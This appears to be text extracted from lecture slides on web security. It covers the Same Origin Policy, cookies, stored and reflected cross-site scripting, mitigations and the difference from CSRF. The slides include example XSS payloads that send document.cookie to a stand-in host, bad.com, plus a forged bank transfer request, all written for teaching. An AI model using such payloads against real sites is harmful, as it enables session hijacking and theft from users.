For now, we’ll assume this attack model:• The user is visiting the site they expect • All interactions are strictly through the browser
Dynamic web pages• Rather than static HTML, web pages can be
expressed as a program, e.g., written in Javascript:
<html><body>
Hello, <b>
<script>var a = 1;var b = 2;document.write(“world: “, a+b, “</b>”);
</script>
</body></html>
Javascript• Powerful web page programming language
• Scripts are embedded in web pages returned by the web server
• Scripts are executed by the browser. They can: • Alter page contents (DOM objects) • Track events (mouse clicks, motion, keystrokes) • Issue web requests & read replies • Maintain persistent connections (AJAX) • Read and set cookies
no relationto Java
What could go wrong?• Browsers need to confine Javascript’s power
• A script on attacker.com should not be able to: • Alter the layout of a bank.com web page
• Read keystrokes typed by the user while on a bank.com web page
• Read cookies belonging to bank.com
Same Origin Policy• Browsers provide isolation for javascript scripts via
the Same Origin Policy (SOP)
• Browser associates web page elements… • Layout, cookies, events
• …with a given origin • The hostname (bank.com) that provided the
elements in the first place
• SOP = only scripts received from a web page’s origin have access to the page’s elements
Cookies
Browser
Client
(Private) Data
• Store “en” under the key “edition”
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
• Send the cookie to any future requests to <domain>/<path>
Semantics
Cookies
Browser
Client
(Private) Data
• Store “en” under the key “edition”
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
• Send the cookie to any future requests to <domain>/<path>
Semantics
Cross-site scripting (XSS)
XSS: Subverting the SOP• Attacker provides a malicious script
• Tricks the user’s browser into believing that the script’s origin is bank.com
XSS: Subverting the SOP• Attacker provides a malicious script
• Tricks the user’s browser into believing that the script’s origin is bank.com
• One general approach: • Trick the server of interest (bank.com) to actually
send the attacker’s script to the user’s browser! • The browser will view the script as coming from the
same origin… because it does!
Two types of XSS1. Stored (or “persistent”) XSS attack
• Attacker leaves their script on the bank.com server • The server later unwittingly sends it to your browser • Your browser, none the wiser, executes it within the
same origin as the bank.com server
2. Reflected XSS attack • Attacker gets you to send the bank.com server a URL
that includes some Javascript code • bank.com echoes the script back to you in its response • Your browser, none the wiser, executes the script in the
response within the same origin as bank.com
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Execute the malicious scriptas though the server meant us to run it
4
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Execute the malicious scriptas though the server meant us to run it
4 Perform attacker action
5
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Execute the malicious scriptas though the server meant us to run it
4 Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Execute the malicious scriptas though the server meant us to run it
4
Steal valuable data
5
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS attack
Browser
Client
bank.com
bad.com
Injectmalicious script
1Request content
2Receive malicious script
3
Execute the malicious scriptas though the server meant us to run it
4
Steal valuable data
5
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker
GET http://bad.com/steal?c=document.cookie
Stored XSS Summary• Target: User with Javascript-enabled browser who visits
user-generated content page on a vulnerable web service
• Attack goal: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)
• Attacker tools: ability to leave content on the web server (e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information
• Key trick: Server fails to ensure that content uploaded to page does not contain embedded scripts
Two types of XSS1. Stored (or “persistent”) XSS attack
• Attacker leaves their script on the bank.com server • The server later unwittingly sends it to your browser • Your browser, none the wiser, executes it within the
same origin as the bank.com server
2. Reflected XSS attack • Attacker gets you to send the bank.com server a URL
that includes some Javascript code • bank.com echoes the script back to you in its response • Your browser, none the wiser, executes the script in the
response within the same origin as bank.com
Reflected XSS attack
Browser
Clientbad.com
Reflected XSS attack
Browser
Clientbad.comVisit web site
1
Reflected XSS attack
Browser
Clientbad.comVisit web site
1Receive malicious page
2
Reflected XSS attack
Browser
Client
bank.com
bad.comVisit web site
1Receive malicious page
2
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3
Visit web site
1Receive malicious page
2
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3
Visit web site
1Receive malicious page
2
URL specially craftedby the attacker
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3Echo user input
4
Visit web site
1Receive malicious page
2
URL specially craftedby the attacker
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3Echo user input
4
Execute the malicious scriptas though the server meant us to run it
5
Visit web site
1Receive malicious page
2
URL specially craftedby the attacker
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3Echo user input
4
Execute the malicious scriptas though the server meant us to run it
5 Perform attacker action
6
Visit web site
1Receive malicious page
2
URL specially craftedby the attacker
Reflected XSS attack
Browser
Client
bank.com
bad.com
Click on link
3Echo user input
4
Execute the malicious scriptas though the server meant us to run it
5
Steal valuable data
6
Perform attacker action
6
Visit web site
1Receive malicious page
2
URL specially craftedby the attacker
Echoed input• The key to the reflected XSS attack is to find
instances where a good web server will echo the user input back in the HTML response
Echoed input• The key to the reflected XSS attack is to find
instances where a good web server will echo the user input back in the HTML response
http://victim.com/search.php?term=socksInput from bad.com:
Echoed input• The key to the reflected XSS attack is to find
instances where a good web server will echo the user input back in the HTML response
http://victim.com/search.php?term=socks
<html> <title> Search results </title><body>Results for socks :. . .</body></html>
Input from bad.com:
Result from victim.com:
Exploiting echoed input
Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
Input from bad.com:
Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
<html> <title> Search results </title><body>Results for <script> ... </script> . . .</body></html>
Input from bad.com:
Result from victim.com:
Exploiting echoed inputhttp://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
<html> <title> Search results </title><body>Results for <script> ... </script> . . .</body></html>
Browser would execute this within victim.com’s origin
Input from bad.com:
Result from victim.com:
Reflected XSS Summary• Target: User with Javascript-enabled browser who a
vulnerable web service that includes parts of URLs it receives in the web page output it generates
• Attack goal: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)
• Attacker tools: ability to get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information
• Key trick: Server fails to ensure that the output it generates does not contain embedded scripts other than its own
XSS Protection• Open Web Application Security Project (OWASP):
• Whitelist: Validate all headers, cookies, query strings… everything.. against a rigorous spec of what should be allowed
• Don’t blacklist: Do not attempt to filter/sanitize.
• Principle of fail-safe defaults.
Mitigating cookie security threats• Cookies must not be easy to guess
• Randomly chosen • Sufficiently long
• Time out session IDs and delete them once the session ends
Twitter vulnerability• Uses one cookie (auth_token) to validate user
• The cookie is a function of • User name • Password
• auth_token weaknesses • Does not change from one login to the next • Does not become invalid when the user logs out
• Steal this cookie once, and you can log in as the user any time you want (until password change)
XSS vs. CSRF• Do not confuse the two:
• XSS attacks exploit the trust a client browser has in data sent from the legitimate website • So the attacker tries to control what the website sends
to the client browser
• CSRF attacks exploit the trust the legitimate website has in data sent from the client browser • So the attacker tries to control what the client browser
sends to the website
